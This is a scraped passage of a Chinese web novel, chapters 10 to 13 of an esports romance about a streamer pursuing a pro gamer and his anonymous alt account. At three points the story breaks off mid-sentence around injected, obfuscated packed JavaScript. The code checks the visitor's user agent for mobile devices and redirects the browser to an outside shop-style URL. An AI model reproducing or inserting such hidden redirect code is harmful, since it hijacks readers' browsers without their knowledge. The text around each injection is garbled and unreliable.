“那是他技不如人!”秦南枝伸出手:“那冰红茶的尺寸还没我大拇指大,亏他有脸显摆。妈妈,你在看什么?” 秦南枝凑到书桌旁,是几张成绩单和家庭介绍,还有低保证、残疾证的复印件。 又到了每年资助学生的时候了。 这件事是赵若月妈妈王璇阿姨在世时牵头做起来的。 她是教师,身体不好早早退下了讲台,缠绵病榻多年,却不忘关心贫困地区孩子,每年都要买一大批学习用品送去。 王璇阿姨去世后,这件事情就被秦家赵家两家人共同承接下来。 “成绩都这么好?”秦南枝连看几张成绩单,就没有一门课下过95的。 “家庭不好的小孩子,懂事早,也更明白学习的重要。”南红玉将资料整理起来,指了指一旁的沙发,让秦南枝坐过去。 秦南枝看书桌上有一小碗车厘子,顺手牵羊端去茶台上。 “那你要好好看看,可别再遇见之前那种半路辍学打工的……”秦南枝歪了下嘴,学裘千尺把核吐进垃圾桶:“白眼狼!” “可能是家里有变故吧。”南红玉挨着她坐下:“500块钱对学校里的孩子来说足够了,可对一个家庭来讲,还差得远呢。而一个十六七岁的少年,已经可以撑起家庭的一片天了。就像妈妈说的,每个人都有不同的路。” 秦南枝坐直身子,煞有介事道:“你就是心地太善良了,就应该让他们把钱还回来,我们资助的孩子都是要上学的,不是给他们试错的。” 南红玉摇头,摘下眼镜:“别说我了,说说你吧,最近怎么样?” “当然不错了!”秦南枝把脸凑近:“看我这粉白的小脸蛋,气色好吧?我都不熬夜了。” 她原以为南红玉要问她最近的情况,她可不怕,敷衍的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889191|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都早早打好腹稿了,没想到南红玉坐下后反而看着她不说话了。 秦南枝在她妈面前,向来是小心思无所遁形。 南红玉的眼神看得她心慌,秦南枝眼珠子转了转,随后撅起嘴:“你都知道了?” 南红玉打开手机,调出直播间页面:“也不看看是谁给你注册的账号,你妈妈都在你的粉丝团呢!” 秦南枝觉得十分难为情,没眼看,于是靠在她肩上:“妈妈,你会不会觉得我丢人啊,你朋友家的孩子工作都那么体面……结果我……” 她都找不到形容词了。 南红玉跟秦聪也算有点身份的人,朋友孩子不是进投行就是大学教师,或者上完学回家接手家业,最差的也是公务员起步。 不说别人带不带有色眼镜,up主跟女主播,这两个词也相差太大了,况且后者总是被人冠上不好的污名。 南红玉摸摸她的头发,秦南枝头发虽多,却是很软很细那种,老人话里讲,这样的孩子心软。 “枝枝永远是妈妈的宝贝。”南红玉安慰她:“你做什么,妈妈都支持你。体面是什么?是你做着自己想做的事,靠自己的本事吃饭,活得开心自在,这就最体面。别人怎么看,那是别人的事。” 她用手指轻轻梳理着秦南枝的头发,目光慈爱。 “妈。”秦南枝小声咕哝:“你怎么跟赵若月说一样的,你们俩才是亲生的吧?” 南红玉拍了下她的脑袋:“时代不一样了,现在多少年轻人都在网上做自己喜欢的事,光明正大地挣钱,有什么不好? 枝枝你记住,只要你不偷不抢,靠自己的努力,哪怕只是说说话打打游戏,那也是堂堂正正的工作。妈妈为你骄傲,因为你没有躲在家里等着爸爸妈妈养你,你在努力走自己的路。” 南红玉掌心的热度通过头发传到她身上,那些盘旋在秦南枝心头的阴霾和自我否定,都被这股暖风吹散。 “搞什么啊,说得人这么感动。”她鼻尖发酸,用力眨了眨眼睛,把那股湿意压下去:“本来还想问你要张副卡呢,这么一说,我再开口该多不好意思啊……” 南红玉的温柔面孔硬是被这个皮猴撕破,她挠着秦南枝的痒痒肉,把这个大号挂件从身上赶走。 “你不是说还有事找你赵叔叔?赶快去吧,别烦我,若霖若月要是到了帮我招待一下。” 。 晚上十点,是整个俱乐部最热闹的时候。 几乎所有项目的选手都在训练,PCL今天周内小组赛最后一天,CZG没比赛也被陈令飞勒令全员观看直播。 他们下午高强度打了整整四个小时,饭都没吃就接着开会,Seven抱着杯可乐,脑袋都快栽进全家桶里了。 终于熬到第一局休息时间,趁着大多数人去放水,裴颂捏着手机出了训练室。 站在漆黑的安全通道,手机是唯一光源,照亮了裴颂紧锁的眉心,却照不亮他眼底深沉的郁色。 通话页面,号码已经输好,只待按下通话键。 裴颂却犹豫了。 他爷爷动手术的时候就麻烦了赵哥,这次只不过是个普通检查,再麻烦的话…… 人情人情,人情到最后都是还不完的债。 他再清楚不过,雪片似的恩情,只要够多,就能将人压得彻底爬不起来。 最终,那根悬在通话键上方的手指,像是耗尽了所有力气,缓缓地、僵硬地蜷缩了起来。 他猛地吸了一口气,仿佛要吸入足够的勇气来支撑这个决定,激烈冲撞的情绪让他胃部的隐痛都加剧了几分。 裴颂收起手机,整理了一下有些发皱的队服下摆,拉开了沉重的防火门。 门外训练室明亮的灯光瞬间涌了进来,刺得他眯了下眼。 他重新挺直了背脊,恢复了惯常的淡漠和平静,步伐沉稳地走向自己的座位,仿佛刚才那黑暗中的煎熬从未发生。 11. 枝枝喳喳 赵若霖第二天要上班,家宴九点不到便结束了,秦南枝帮秦聪收拾好餐厅,硬要赵若月留下陪她睡觉。 主要原因当然是为了显摆一番她自认精湛的枪法。 卫生间暖黄的灯光下,空气里仿佛还滞留着红烧肉的浓郁酱香和清蒸鱼鲜甜的气息。 看着天下太平,秦南枝却气得脸颊绯红,小嘴叭叭不停。 “你哥到底想干什么?”秦南枝单手撑在盥洗台边缘,胸口起伏明显:“从小压我们一头也就算了,还故意在饭桌上宣布准备求婚?要不要敲锣打鼓再找个舞狮队啊?就显摆他有女朋友了是吧!” 赵若月对着镜子,一只眼糊着卸妆棉,另一只眼猛地眨了两下。 “我表示赞同,他从小就这么烦,跟谁没有对象似的?”赵若月故意停顿半秒,呵呵一笑:“哦,忘了,你没有。” “赵若月!”秦南枝重重跺在地砖上:“你再多说一个字,信不信我现在就把你连人带行李扔出去!今晚休想蹭我的床!” “行行行,我错了。”赵若月湿漉漉的手扯着秦南枝,赶紧把生气的小公主赶走:“快出去看看你游戏下载好没有,不是说好要给我展示你手术刀般精妙的操作吗?” 秦南枝被推出卫生间后,一屁股坐到书桌前,脸蛋依旧气得皱成一团,像个失败的发面馒头。 赵若霖此人大她们俩6岁,从小到大都是品学兼优的别人家孩子,堪称秦南枝的童年噩梦。 上学也就罢了,她秦南枝不是应试型学生,暂且放他一马。 结果赵若霖不仅学习出色,一路读博,工作上还继承了赵叔叔的衣钵,成了名医生,连女朋友都是同科室的高学历人才。 如今成了她父母长辈身边出了名的青年才俊,就差给他颁发五四青年奖章了。 太可气了,偏偏自己还有求于他! 秦南枝泄愤似的用力按下鼠标,屏幕应声亮起。登录游戏时,输密码的力度都比平时大,键盘让她戳得“啪啪”作响。 登上游戏,秦南枝首先点开好友列表,查找有没有新好友添加记录。 不看不要紧,一看更生气了。 平替老公不仅无情杀了她和陪玩,而且根本没在意她的好友申请,纯抛媚眼给瞎子看! 本就因为赵若霖憋了一肚子气的秦南枝,心情指数瞬间跌穿地心。 “烦死了!”秦南枝一把推开键盘,忿忿道:“没眼光的瞎眼男人,连我都看不上。” “行了行了。”赵若月站在她身后,轻拍两下她的后背,替她顺气:“等他知道你漂亮跟天仙一样以后,肯定后悔得跳进黄浦江洗澡,我先去洗澡,回来看你操作。” 秦南枝脸颊鼓鼓,头都不想抬,自鼻孔里哼了一声:“算你会说话,去吧。” 心情不好的时候秦南枝就喜欢买东西,买衣服买包买化妆品,到了游戏里,服装、枪械皮肤就成了她的发泄对象。 秦南枝熟练地点开了交易平台。 她手指翻飞,跟双十一清空购物车似的,把几套限定时装、武器皮肤统统拿下,结算按钮按得比过年微信群抢红包还快。 看着仓库里瞬间多出的一堆战利品,那点被拒绝而生的郁闷才稍稍被花钱的短暂快感压下去一点。 又把她仓库里不喜欢的几件时装挂出去,整理收纳后,秦南枝心里那股气终于顺了。 正准备切回游戏,邮件图标闪了一下。 原来是上次的陪玩小哥为了感谢秦南枝没投诉也没退款,看她上线后,特意送她一款限量武器涂鸦。 看着邮件里附带的感谢信,秦南枝一拍脑门:“对啊!我怎么没想到呢!” 交易平台的物品不仅可以买来自己穿,也可以当作礼物赠送给其他人。 拿人手软、吃人嘴短,她奢华大礼包砸平替老公脸上,就不信他不动心? 秦南枝眼珠一转,计上心头。 她郑重且精心地挑选了一款98K皮肤,还特意选了跟CZG有关的元素,因为是限量版,价格更是炒到了大四位数,仅次于一款明星联名大衣。 小钱而已,老公联名款皮肤送平替老公,秦南枝觉得不亏。 秦南枝在赠送页面输入foglia的id,到了最重要的留言环节,她咬着下唇,删删改改,最终敲下一行羞耻度爆表的留言: 【哥哥,你游戏打得好厉害呀!这个皮肤配你,有机会一起玩哦~】 “叮——” 几乎是礼物送达的瞬间,系统提示音响起:您收到一封来自foglia的回信! “成了!他回我了!还这么快!” 秦南枝激动叫出声,差点从椅子上蹦起来,一瞬间心花怒放,脑子里闪过八百个粉红泡泡。 他肯定对我也有意思!不然干嘛秒回礼? 她迫不及待地点开消息详情,准备接收这份双向选择,顺便再酝酿几句撩人的话。 然而,当礼物信息加载出来的瞬间,秦南枝脸上的狂喜瞬间凝固,嘴角都抽了两下。 【foglia:?】 “?”是什么意思? 。 三局比赛结束,陈令飞的周决赛动员工作基本完成,又将一群人从休息室赶回训练室。 “哥,约了TZ四排打韩服,走不?”十一问。 “你们带果汁打吧,我找杜哥有事。”裴颂在手机上飞快地编辑发送了一条信息: 【奶奶,挂了周一的号,给你们买了周日的机票,到时候让阿杜去接你们。】 突然被cue到的阿杜愣了一下:“裴哥别介,搞这么正式,叫小杜就行,您有何指教?” 其他人走后,训练室空荡下来。 “没跟你开玩笑,有事麻烦你。”裴颂几步走到阿杜身边,拉过旁边的凳子坐下:“我爷爷上次手术恢复得不错,但最近又开始头晕。” 闻言,阿杜下意识身子靠了过去:“严重不?去医院看了吗?医院怎么说?” 裴颂淡淡闭了下眼,再睁开时,眼里满是疲累:“还不清楚。挂了周一的号检查,让他们周日来。老人年纪大了,虽然来过一次,但光他们俩我还是不放心,到时候得麻烦你去机场接一下。” “嗐!”阿杜一听是这个,立刻松了口气,抬手拍了拍自己的胸口:“我还以为什么事呢,包在哥身上,到时候就让爷爷奶奶住咱一楼客房?” “不用。”裴颂拒绝得干脆,手指在手机屏幕上快速划动,给阿杜微信发了个地址:“老人家睡眠浅、醒得早,我订了路口那家酒店。” 阿杜点开地址看了一眼:“还挺近。” 上次裴颂爷爷手术也是阿杜去接的人,随口问道:“还是挂的安和黄主任的号?他那号可不好挂,我记得上次还是托了嫂子娘家一个妹妹找的关系。” “没。”裴颂沉默几秒:“普通检查,找了家附近的三甲。” “怎么不找——”阿杜陡然抬头,看见他的模样,舔了舔嘴,硬生生把话咽了回去。 裴颂刚到CZG的时候,他不过是个小助理。 见到的第一面,17岁的男孩瘦得吓人,性格沉闷,话也少。 职业道路并不像有些人想的那么轻松,打打游戏就好,试训强度下,多少孩子能打游戏打到吐。 尤其知道裴颂高中成绩还不错的时候,大家根本没人看好他,觉得他肯定吃不了这个苦。 俱乐部给裴颂安排了双人间宿舍,结果室友试训一个星期就跑了,直到现在,那间屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889192|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子还是裴颂一个人住。 上海的大夏天,宿舍空调坏了半个月愣是一声不吭。 要不是阿杜宿舍窗户坏了,去裴颂宿舍待了一晚上,这孩子恐怕还打算自己一声不吭地扛着,生怕给别人添一丁点儿麻烦。 从那时候他就知道了,裴颂骨子里不仅有着超乎常人的坚毅,更深处的是超乎寻常、甚至有些过度的自尊心和要强。 这股倔劲儿让他显得格外孤僻,不合群。 就连陈令飞这种棍棒底下出孝子风格的教练都私下找过他,让他多关心裴颂。 别看十一那群孩子进俱乐部的年纪更小,一个个鬼精鬼精,会哭会闹会上房揭瓦,哪需要他操心? 所以此刻,看着裴颂那疲惫中带着固执的脸,阿杜瞬间就懂了。 这孩子不是不知道找黄主任更好更快,他是不愿意再向赵哥开这个口,不愿意欠一屁股人情债。 他最终只是叹了口气,拍了拍裴颂的肩膀,声音放轻了许多:“行,知道了,哥办事你放心。航班信息一会儿发我,我肯定准时到。周决赛好好打,其他都有我呢。” 回到训练室的时候,其他四个人已经跟TZ自定义模式建好了房间正在打。 裴颂点开游戏,切换成小号登录,刚进入游戏大厅,就弹出一封邮件。 【littlezz向您赠送礼物,并留言:哥哥~你游戏打得好厉害呀!这个皮肤配你~有机会一起玩哦~】 裴颂当然忘记了littlezz是哪个倒霉蛋了。 他这个小号只打单排,偶尔几次双排四排,不是跟队友就是跟替补,别队都很少。 裴颂第一反应是其他人的恶作剧,这群人不是没干过开变声器搞网恋的事情。 但他也想看看十一他们在背后搞什么鬼。 他通过了好友申请,在对话框里扣下: 【foglia:?】 “赵若月,你说难道是我表达能力有问题吗?”秦南枝让出了自己的椅子,让赵若月这个斩男杀手接手她的账号。 “竞男嘛,文化水平你懂的。”赵若月在键盘上敲敲打打,表示理解:“尤其是网恋,最忌讳墨迹,你要直截了当表达自己的态度。看好了,学着点啊!” 【littlezz:哥哥你好厉害,能不能带我玩一局啊?】 消息发送出去,秦南枝仍是将信将疑:“你这法子能有用吗?万一他不吃这一套呢?你谈过网恋吗,你就指导我?” “网恋这种东西,但凡是个能喘气的生物都能谈。至于你……”赵若月忽而严肃道:“不要质疑我的专业,专业的事交给专业的人,没谈过恋爱的别指手画脚。” 消息提示音响起,秦南枝有点不敢看。 “等等。”她闭上眼睛,指挥着赵若月:“你先用手挡着消息,再移开让我看。” 赵若月不耐烦地“啧”了一声:“别费劲了。” 她语气很暴躁:“小子,你月姐还没被男人拒绝过,你成功激起了你月姐的胜负欲。” 秦南枝睁开眼,十分简洁易懂的两个字赫然撞入眼帘。 【foglia:删了。】 与此同时,一封礼物赠送邮件到达了邮箱——里面是她送出的98k皮肤并一款更贵、更稀有的外观被一起退了回来。 秦南枝记得这件连体服,冠军限定款,全球发放一万套,有价无市。 她思索片刻,另一种猜想浮现心头。 “赵若月,这套衣服你知道要多少钱吗?”秦南枝凑近屏幕,喃喃道:“你说他会不会对我有意思,删了我只是因为手滑呢?” 赵若月冷笑:“多少钱也没用,他手滑得该去挂号,看看是不是年纪轻轻就得了帕金森。” 12. 枝枝喳喳 将连体服送出去,是裴颂也没料到的失误。 这身连体服本身价值不算昂贵,却异常稀少,对裴颂而言意义非凡。 这是在他拿下第一届PCL冠军后,由游戏公司推出的限定款冠军纪念皮肤,市面上几乎没有流通。 他切屏退出游戏,望向始作俑者。 “有事?” 小艾佯装刚凑上来,挠了下后脑勺,支吾道:“那个啥,哥,明天……让果汁上行不?” 看他做贼心虚的模样,裴颂就明白他想干什么。 裴颂对这些事虽不关心,却难免听到陈令飞拿小艾当典型警告他们,听得多了,就记住了。 他记得小艾网恋的对象上上次是个舞蹈主播,他一个月给人刷了二十万。上次是个留学的小网红,分手以后做了个公众号挂他。 不知道还以为他退役后打算转行开家mcn公司。 裴颂嗤了声,转过头不再看小艾:“找飞哥。” “那不是不敢跟他说嘛……”小艾顺势蹲在他手边,低声嘀咕:“这次真不一样,我是认真的,不是网恋,我女朋友也不会拿我起号!她明天要去现场看我比赛,要是中途出去,飞哥肯定又要叼我。” “你害怕啊?我还以为你热爱在陈令飞雷区蹦迪呢?”裴颂的单人四排已经开了,还是那句:“找飞哥。” 小艾无法,只得失落起身往外走,经过果汁身边时,冲他撇了下嘴。 果汁拱了拱手,祝他好运。 待他走出屋子,果汁立即切回到微信。 【juice:他真找飞哥去了,不会暴露吧?】 【Seven:他哪有那个胆子?借他都不敢。】 【十一:小艾要是知道兄弟为了他的职业生涯付出这么多,想必也会夸自己命好。】 。 赵若月被人拒绝后咽不下闷气,啪啪啪打下一长串,一发出去,屏幕立即弹出一行小字:“您已不是该玩家好友”。 秦南枝脸色铁青,一半是气的,一半是怀疑自己。 好在她一向是个向外寻答案的性格,肯定不是她的问题,那就是别人的问题。 秦南枝当即逼迫自己忘了什么劳神子平替老公,让七七糖联系她家亲戚,给她建了个陪玩聊天群。 一溜水儿的刚成年小男孩,一口一个姐姐热情极了,不比是人是鬼都不清楚、万一是返祖大野猪的foglia来得靠谱? 想到这里,秦南枝手上这盆淡奶油就成了foglia,嗡嗡作响的厨师机就成了电钻。 光顾着泄愤,一不留神将淡奶油打发过头,看着一盆豆腐渣似的奶油,原定的裱花蛋糕教程只能改成手工黄油制作。 成型后的黄油被她加了些盐,搭配冷萃酸奶、无盐烘焙坚果,做了时下大火的黄油柿饼卷。 秦南枝自己吃了一块,剩下的被她叫跑腿送去了爸妈家和赵若月公司。 素材拍完后,秦南枝把前半段的视频剪掉,留作下次使用,将后半段的搅打黄油重新调整了节奏,标题则是蹭了先前爆款视频。 发出去不到一个小时,观看量就过万了。 这就叫情场失意、职场得意。 看着自己日益增长的粉丝,秦南枝脸上终于露出了这两天以来第一个笑容。 她哼着歌回到沙发上躺下,刚落座,忘在餐桌上的手机就震了一声。 秦南枝很不情愿地趿拉着拖鞋过去,点开手机,是陪玩群里的小男孩喊她上线。 她皱了皱眉,眼底闪过一丝烦闷,随后关上手机屏幕,纯当没看到,眼不看心不烦。 不是她不想打游戏。 这几天她也跟这群青训队的小男生玩得不少。技术嘛,自然是没得说,比陪玩小哥强了不知道多少,也教了她很多游戏意识、压枪、走位、跟队友的配合等等。 但是……秦南枝把黑屏的手机往沙发缝里一塞,整个人瘫进柔软的靠垫里,心里空落落的。 总觉得这群小孩差点意思。 别说跟正牌老公裴颂比了,就连跟那个foglia比,技术、音色,尤其是对她爱搭不理的调调……这种若即若离、难以掌控的感觉,像羽毛一样搔在她心尖上,勾得秦南枝心痒难耐。 在这二位面前,群里这群技术虽好、却恨不得把“姐姐看我秀操作”刻在脑门上、吵得活像鸭子场的青训小男孩,顿时就变得不够看了。 像是连吃三天泡面以后再吃泡面,一口头发懵、两口反胃恶心、三口就扔垃圾桶。 秦南枝气愤地捶着抱枕,她是被foglia下蛊了吗? 。 “三杯冰美式,一杯无糖燕麦拿铁,两杯奶茶,一杯三分糖、一杯全糖。” 临比赛开始前三十分钟,助教从工作人员那里接过饮料,准确地将唯一一杯全糖奶茶放在裴颂手边。 Seven端着自己的燕麦拿铁,瞥了他一眼:“阿K上个月直播说查出胰岛素抵抗了,你悠着点儿,男人要注重保养,少喝凉的、少喝甜的。” “还保养上了,你怎么不说一天50个深蹲呢?”十一也是小孩口味,但没敢喝全糖。 裴颂像是没听到他俩当面说闲话,既没反驳,也没应声,视线全程牢牢锁定在手机屏幕上,整个人透着一股心不在焉的紧绷感。 陈令飞是唯一一个了解内情的,此时站出来让其他人少说几句废话,有心思不如想想迫击炮怎么躲,别学ABM全队被炮送走。 休息室隔音不好,时间一分一秒流逝,其他队伍先后到达,屋外噪音愈发吵闹。 裴颂目光凝重,有种置身事外的疏离,像在等待着什么。 小艾拿胳膊肘撞了下Seven,小声说:“他跟失恋了一样。” Seven给他比了个国际友好手势:“关心关心你自己,你他妈再给我往车上撞,我就让Song开局拿你祭天。” 直到开赛前十五分钟的提示音响起,手机屏幕终于亮起。 阿杜回消息,他已经顺利接到了爷爷奶奶,正在往酒店赶。 裴颂紧绷的肩线几不可察地松弛了些,回完信息后,他终于注意到了那杯奶茶。 像是完成任务一般,他仰头喝了一大口那杯甜得发腻的全糖奶茶,顺手将还剩大半杯的奶茶放在桌上。 转身,步伐沉稳地走向演播厅。 。 秦南枝拒绝了弟弟们的游戏邀请,准时准点打开直播间,观看她老公的周决赛。 她现在ASMR游戏双开花,账号发ASMR视频,直播时主推游戏,还学别的up主建立了个小号,专门用来发游戏切片。 遗憾的是,她至今还没有打出一波值得炫耀、录屏、买水军的精彩操作。 解说开场前介绍,前一天比赛下来,CZG和NKG分数相差不大,位列第四第五,在16只队伍里只能说是不温不火,也不知道今天会不会变换打法冲一下排名。 第一把是沙漠图。 比赛开始不久,Zero1和他的粉丝闻着味儿就来了,这群人瞬间占领了秦南枝的直播间高地。 原本温馨和谐的弹幕画风,秒变互联网垃圾中转站—— 【又来个颂大帝梦女,灵异哥散了吧,人看不上你。】 【十个电竞媛,四个蹭Winter,五个蹭Song,剩下那个有自己的转会期。】 【今年NKG再拿一个PCL亚军,全员晋升三亚市官方旅游大使。】 【鸽鸽能拿周冠吗?哦,我忘了,鸽鸽是要拿PGC大满贯的男人,这种小场面看不上眼!】 【你冬就差代言亚运会了,现在手抖得最适合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889193|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇奶粉,还占着地方不退役呢?】 【你颂这辈子焊死1号位,不带脑子打游戏,你颂绝对MVP。】 你们不要再吵了,要吵去豪宅端着枪吵! 秦南枝整个人都麻了,她手忙脚乱屏蔽了几个吵得最凶的id,觉得自己简直是舍身跳粪坑,还表演了个蝶泳。 她只是想好好看个直播,怎么又吵起来了? 竞圈这破地方,粉丝一个个嘴毒得跟泡过百草枯似的,沾谁谁死。 比赛里,那群粉丝的乌鸦嘴又跟开了光一样。 秦南枝只是低头揉了揉发酸的脖颈,再抬头,CZG队伍四个人就剩裴颂一根独苗了。 这什么情况???? 她赶紧拖拽进度条,把直播往前退了几分钟。 CZG往安全区撤离的过程中,途经一处山坳,被两个队伍联手包抄,做了夹心饼干。 整个过程快得令人窒息,从炮弹呼啸而至到三人团灭,不过短短十几秒! 看着CZG三个人被迫击炮一波带走,秦南枝扶了扶眼镜,眼珠子差点儿掉下来。 任你枪法称王,在天降正义面前也是人人平等。 CZG其余三个人脸色惨白,谁能想到关键时刻运气一点不眷顾他们就算了,还啪啪打脸? 第一局就打得稀烂,陈令飞指不定要怎么喷他们。 小艾紧张到顾不得当着几十万、上百万网络观众的面,啃起来手指甲。 耳机里,两个解说扯着嗓子,跟烧水壶水开了一样。 解说小龙长吁短叹:“CZG这一把要凉啊,Song要进安全区必须从NKG脸上走,NKG现在剩下三个人,这波纯纯以卵击石。” “Song要干什么!”另一个解说阿文忽然提高音量:“他趴下了!他要苟吗?” 裴颂的角色迅速变换身位,卡着反斜坡恢复状态。 看着血量一点点恢复,秦南枝刚想露出笑容,好巧不巧,迎面又来了一辆车。 “Song要1v2单人正面硬抗吗?”小龙又宣布了一个坏消息:“Song的备弹不多了啊,两把枪70发子弹,他扛得住这波冲击吗?” 随着解说的抑扬顿挫,秦南枝的心高高悬起,大气儿都不敢出。 只见裴颂匍匐在坑里,待车辆过来的一瞬,毫不犹豫出枪射击,直接打中车胎。 吉普车径直翻下山坡,随后,车上两名选手的id变成灰色。 “这波射人先射马、打车先打胎操作太精准了!”小龙欢呼道。 随后的时间里,裴颂简直像从这场比赛消失了一般。 他行走在沙漠间,宛如鬼影。摸屁股、抓落单,零零散散又让他收获了3个人头,CZG的总积分也来到了第七。 随着毒圈刷新的速度越来越快,场上的枪声也越来越密。 直到空投落在一处房区,几乎可以确定这是最后一个安全区。 以空投为中心,三支队伍迅速拉开战斗,场面彻底进入白热化。 导播切换画面,迅速扫过地图上每一个战场。 阿文感慨:“作为一支开局不到十分钟少了三个人的队伍,Song已经尽力在维护排名分了。” “现在场上还剩下4支队伍和两个独狼,其中ABM还是满编,让我们期待这两位独狼能否替自己的队伍逆天改命!” 解说阿文的尾音刚落,导播镜头猛地切回那片被三队争夺的房区! 就在所有人以为裴颂要苟到最后守排名的时候,他动了! 他从山坡上跳下,直指这场大乱斗核心。 “Song要浑水摸鱼拿人头吗!” ABM正与NKG激烈交火,裴颂切入的角度刁钻至极,完美利用了双方互相牵制的视野盲区! 机会来了! 13. 枝枝喳喳 裴颂迅速绕后,收缴了ABM四号位的人头后,一枪带走房区东侧的另一只独狼。 他丝毫没有停顿,打上肾上腺素后,一个极限走位绕开NKG的集火。 速度快到连解说的第三视角都看不清他到底是何时开枪! 又是一记精准的三连发爆头点射,第二名ABM队员轰然倒地! “一穿三!” NKG也抓住时机,一换一带走了ABM的突击位。 电光石火之间,ABM满编队竟被他一人撕开缺口,仅剩一人。 下一秒,蛰伏已久的QIT双雄直接带走了ABM最后一人。 整个战场形势天翻地覆! 然而,裴颂的血量也在刚才的对枪中见底,药都来不及打,他躲到一辆废弃的吉普车后暂避锋芒。 阿文的声音里有着止不住的兴奋与雀跃:“场上除了Song,只剩下了NKG的两人,QIT的两人,他能否再次完成PCL决赛场上的高光时刻,一穿四!” 来到最后的决战。 裴颂侧身切出去的一瞬间开枪,甚至连倍镜都没有打开,纯靠肌肉记忆。 砰! 两声几乎分不出先后的沉闷枪响后,屏幕弹出: 【CalmZealotGaming淘汰!】 【QIT_Rain使用AWM淘汰CZG_Songss】 屏幕变为灰白的时刻,场内外一片扼腕叹息! 小龙声嘶力竭:“Song做到了几乎不可能的一穿三,搅乱了整个战场,是他几乎凭一己之力将CZG的总积分,硬生生从第七名推上了第二名!” 积分榜最终定格。 CZG的名字高悬第二,仅落后于最终吃鸡的队伍,而裴颂也以9个人头,荣登本局战神榜第一。 虽然未能登顶,但开局近乎崩盘的局面下,这个第二的分量,重若千钧。 裴颂松开鼠标,靠在椅背上,左手摘下耳机,右手因使用过度还在微微颤抖。 身旁围绕着队友震耳欲聋的掌声与欢呼,十一从位置上跳了起来,不停拍裴颂的椅背,比那时候陈令飞宣布取消宵禁都兴奋。 但裴颂本人只是偏了下头,问身后的工作人员:“我奶茶呢?” 两天比赛落幕,周冠军花落QIT,CZG在两局吃鸡的情况下,积分紧咬QIT,跟NKG并列第二。 秦南枝从一开始的心惊胆战,到最后的手舞足蹈,裴颂的每一枪,好似都打在她心上。 “这男的……杀伤力也太超标了!” 秦南枝脸颊滚烫,像熟透的番茄,整张脸埋在玩偶熊柔软的绒毛里,小声嘀咕:“随随便便一个操作,就能把我的心吊得七上八下。” 心跳还未完全平复,她便迫不及待摸出手机,往姐妹群里狂轰滥炸: 枝枝喳喳:看了吗看了吗,我老公帅死了!! 枝枝喳喳:我要给他生100个孩子! 赵若月:建议清醒点,你老公这种竞男身体怕是不行。:D 秦南枝对着屏幕翻了个大大的白眼,就知道赵若月说不出什么好话! 好在七七糖很懂她的小心思。 七七糖:虽然CZG总分只是第二,但你老公这两天真的封神操作。太帅了,你明天全网肯定要多十万个情敌。 跟赵若月这个现充不一样,七七糖线上巧舌如簧,线下性格内向又慢热,不喜出门且三次元生活单调,是个典型的网恋选手。 连阴阳师这种秦南枝都找不到对话框在哪的游戏,她都能跟人搞网恋。 想到这儿,秦南枝茅塞顿开,脑海中提示音大作,就跟林克在海拉鲁大陆浪了八百天终于想起自己主线任务是要去救公主一样。 其实一开始找赵若月就错了,赵若月这种明艳大美女在三次元所向披靡,但是在只听声不见面的网络上,怕是不如七七糖吃得开。 她应该去请教七七糖,让她替自己出主意,该如何拿下平替老公! 没想到的是,七七糖听完她的诉苦后,陷入了诡异的沉默。 “有什么不对吗?”秦南枝本以为自己找到了破局之法,高兴得半夜三更点了一桌子外卖,手上还捏着一串烤鱿鱼。 “唔——”七七糖思索道:“泡芙啊,你这个问题,以我现在的知识水平,可能帮不了你。” 秦南枝诧异:“啊,有那么难吗?不就是线上聊天培养感情吗?” 她又不是要跟裴颂网恋,放低标准找了个平替难度不应该骤减才对吗?新手模式不都是送分题? “不是难不难的问题。”七七糖纠结了几秒钟该如何表达,迟疑道:“你要明白,跟电竞男孩网恋的难度……不亚于把你送去幼儿园打自由搏击。” 她顿了顿,似乎在犹豫这样说会不会让秦南枝生气。 “不是我黑他们,游戏里网恋就是开盲盒,至于皮下是男的还是女的,谁在意呢?只要是个活人他们都能统统笑纳。” 七七糖语气斩钉截铁:“你声音这么甜,混个语音厅不知道迷死多少人?你这位于美色前大气都不喘的平替枪王老公,绝对不是一般人。” 她最终撂下结论:“很难,你早点放弃吧。” 。 凌晨的酒店房间一片寂静,只余床头一盏小灯晕开暖黄的光圈。比赛结束得太晚,紧赶慢赶抵达酒店时,时针早已滑过凌晨一点。 爷爷熬不住先睡了,裴颂轻手轻脚上来,只想再跟奶奶确认一遍明天去医院检查的流程。 “小树,你们平时累不累啊?” 裴颂捏着块奶奶自己晒的柿饼,指尖无意识捻着,闻言抬起头,看向床边坐着的奶奶。 “不累。”他声音很轻,怕吵到睡觉轻的爷爷,几乎是用气声:“就打打游戏,能有什么累的。” 